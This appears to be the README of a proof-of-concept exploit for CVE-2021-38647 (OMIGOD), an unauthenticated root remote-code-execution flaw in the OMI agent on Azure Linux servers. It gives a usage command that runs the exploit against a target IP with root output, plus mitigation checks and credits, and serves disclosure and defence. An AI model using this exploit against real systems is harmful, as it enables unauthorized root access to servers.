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OMIGOD

Proof on Concept Exploit for CVE-2021-38647 (OMIGOD)

For background information and context, read the our blog post detailing this vulnerability: https://www.horizon3.ai/news/blog/omigod

Details

CVE-2021-38647 is an unauthenticated RCE vulnerability effecting the OMI agent as root.

OMI agents are commonly found installed on Azure Linux servers when the following are in use:

Azure Automation
Azure Automatic Update
Azure Operations Management Suite
Azure Log Analytics
Azure Configuration Management
Azure Diagnostics

Usage

azureuser@linux:~$ python3 omigod.py -t 10.0.0.5 -c id
uid=0(root) gid=0(root) groups=0(root)

Example Output

Proof

Mitigations

Update and ensure the OMI agent is at version 1.6.8.1.

For Debian systems (e.g., Ubuntu): dpkg -l omi
For Redhat based system (e.g., Fedora, CentOS, RHEL): rpm -qa omi

Prior Research Credit

For more details see the original researchers' work: https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure

Disclaimer

This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. Project maintainers are not responsible or liable for misuse of the software. Use responsibly.